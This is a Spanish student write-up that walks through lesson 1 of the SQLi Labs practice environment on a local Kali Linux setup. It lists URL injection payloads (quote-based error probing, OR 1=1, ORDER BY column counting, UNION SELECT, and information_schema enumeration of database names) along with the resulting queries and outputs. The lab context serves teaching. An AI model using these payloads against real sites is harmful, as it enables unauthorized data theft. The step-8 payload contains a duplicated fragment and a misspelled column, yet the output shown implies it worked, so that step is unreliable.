SQL Injection
SQL Injection
Cuando buscamos aprovecharnos de algún sitio web mal diseñado hay miles de exploits
para poder lograrlo pero aquellos ataques en los que se utiliza SQL injection son los más
efectivos, fáciles y de mayor alcance. A este también se le denomina como inyección de
código.
Este método se puede utilizar siempre y cuando las bases de datos de los sitios utilicen
MySQL o cualquier otro sistema gestor de bases de datos que interprete órdenes en
lenguaje SQL que provienen del servidor.
Los “hackers” tienden a centrarse en sitios que depeden de scripts de PHP7.
Al realizar SQL Injection la base de datos puede ser destruida.
Ya que el conocimiento de la existencia de este tipo de ataques se podría decir que califica
como cultura general dentro del área de trabajo que compartimos los estudiantes de
Software, existen varios entornos diferentes para probar ataques como este. Entre los más
conocidos y los entornos para practicar inyecciones usados para el desarrollo de esta
investigación, se encuentran SQLi Labs y Metasploitable 2.0. SQLi Labs consiste de un
conjunto de scripts vulnerables basados en PHP7 y mysql, diseñados con el único fin de
intentar penetrarlas mediante inyecciones de SQL. Metasploitable 2 es un servidor basado
en los sistemas operativos Linux, que tiene un conjunto de aplicaciones vulnerables como la
Damn Vulnerable Web Application(DVWA) para practicar diferentes formas de penetración
de sistemas, entre ellas SQL Injections.
Para lograr profundizar nuestro conocimiento sobre las inyecciones de SQL se tomó la
decisión de configurar una máquina virtual con un sistema operativo Kali Linux donde se
descargó SQLi Labs, y otra maquina con Metasploitable 2.0 para conectarlas y efectuar
ataques de una máquina a otra. Una vez configurado el entorno de pen-testing es necesario
configurar la conexión entre SQLi Labs, la base de datos integrada en Kali Linux, y el
servidor apache2 que se debe levantar para poder usar SQLi Labs y practicar inyecciones
en un entorno cercano a la realidad.
Lo primero que se debe hacer al tener listo SQLi Labs para própositos de esta investigación
es ingresar a la lección 1, cuyo url es: localhost/sqli-labs-php7-master/less-1.
Se usa el símbolo ? en el url para efectuar un query y se le agrega el parámetro id=1
para que devuelva un resultado en caso de que el id sea igual a 1. Luego de hacer estos
cambios, el url se vería así: “localhost/sqli-labs-php7-master/less-1/?id=1”. El query que se
le hace a la base de datos con el url anterior se debería de ver como algo así:
(1.1)SELECT * FROM users WHERE id='1' LIMIT 0,1
--Esto devuelve como resultado:
(1.2)Your Login name: Dumb
Your Password: Dumb
--Estos son los valores de Login y Password de el usuario con id=1
--Si se intenta con cualquier id que este en el sistema el query devolvera los valores de los
atributos con ese id
--Se ingresa una comilla simple luego de el 1 para ver que error devuelve
(2) localhost/sqli-labs-php7-master/less-1/?id=1'
--El query que se le hace a la base de datos con el url anterior es:
(2.1)SELECT * FROM users WHERE id='1'' LIMIT 0,1
--El error que devuelve en el siguiente:
(2.2)You have an error in your SQL syntax; check the manual hat corresponds to your
MariaDB server version for the right syntax to use near "1" LIMIT 0,1' at line 1
--Como se puede notar el error esta encerrado en comillas simples lo que nos hace saber
que ese no e el numero total de comillas usadas en el query.
--Se le agrega: or 1=1'--+ esto se hace ya que 1=1 siempre es true, y el --+ elimina la
comilla simple que rompe el query
(3) localhost/sqli-labs-php7-master/less-1/?id=1' or 1=1--+
--El query que se le hace a la base de datos con el url anterior es:
(3.1)SELECT * FROM users WHERE id='1' OR 1=1 -- ' LIMIT 0,1
--Esto devuelve como resultado:
(3.2)Your Login name: Dumb
Your Password: Dumb
--Ahora sabemos que podemos manipular los queries en esta aplicacion
--Se agrega order by 1,2,3.. incrementanto de uno en uno en lugar de el "or 1=1" para
averiguar el numero de columnas en la tabla, cuando se presente un error significa que hay
una tabla menos que el numero que se encuentra luego del "ORDER BY".
(4) localhost/sqli-labs-php7-master/less-1/?id=1' ORDER BY 1--+
--El query que se le hace a la base de datos con el url anterior es:
(4.1)SELECT * FROM users WHERE id='1' ORDER BY 1 --' LIMIT 0,1
--Esto devuelve como resultado:
(4.2)Your Login name: Dumb
Your Password: Dumb
--Al llegar a 4 el sistema devuelve un error indicandonos que hay 3 columnas en la base de
datos
(4.3)localhost/sqli-labs-php7-master/less-1/?id=1' ORDER BY 4--+
--El error es presentado a continuacion:
(4.4)Unknown column '4' in 'order clause'
--Ahora se puede usar UNION SELECT para concatenar el numero de columnas en una
nueva fila
(5) localhost/sqli-labs-php7-master/less-1/?id=1' UNION SELECT 1,2,3--+
--El query que se le hace a la base de datos con el url anterior es:
(5.1)SELECT * FROM users WHERE id='1' UNION SELECT 1,2,3 -- ' LIMIT 0,1
--Esto devuelve como resultado:
(5.2)Your Login name: Dumb
Your Password: Dumb
--Esto no funciona debido a que que hay un usuario con el id=1
Al preguntar por un id que no se encuentra en la base de datos, el query usa el union select
para devolver los valores 2 y 3 en los campos de username y contrasenna.
--information_schema entrega informacion sobre como se acomodan los datos en una base
de datos/tabla/columna
--Invalidando el valor de el id y usando group_concat(DISTINCT table_schema
SEPARATOR ', ') para concatenar los valores de diferentes de table_schema separados por
', ' que esten en las tablas de information_schema.tables en caso de que el esquema sea
diferente a 'mysql' y 'information_schema'
(8) localhost/sqli-labs-php7-master/less-1/?id=-1' UNION SELECT * FROM users WHERE
id='-1' UNION SELECT 1, group_concat(DISTINCT table_schema SEPARATOR ', '),3
FROM information_schema.tables WHERE table_shema != 'mysql' AND table_schema !=
'information_schema' --+
--El query que se le hace a la base de datos con el url anterior es:
(8.1)SELECT * FROM users WHERE id='-1' UNION SELECT * FROM users WHERE id='-1'
UNION SELECT 1, group_concat(DISTINCT table_schema SEPARATOR ', '),3 FROM
information_schema.tables WHERE table_shema != 'mysql' AND table_schema !=
'information_schema' -- ' LIMIT 0,1
--Esto devuelve como resultado:
(8.2)Your Login name: challenges, preformance_schema, security
Your Password: 3